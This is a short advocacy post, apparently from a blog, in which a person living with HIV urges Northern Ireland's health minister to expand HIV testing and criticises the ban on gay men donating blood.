Can the minister confirm that he is working with The HIV Support Centre, the Rainbow Project, and the Public Health Agency to ensure that everyone in Northern Ireland heterosexual and homosexual know whether they are living with HIV? I am one of the lucky ones, I know that I am living with HIV. I am on treatment which is working to suppress the virus. This means that I much more healthy than I was when I did not know that I was living with HIV. We should be getting everyone to know their HIV status in Northern Ireland.

Let's hope that the politicians up on the hill in Stormont will actually question the minister closely on his continuing ban on gay men giving blood, and I will be in touch with my MLAs to ask them to raise these issues.

Originally posted on Gyronny Herald.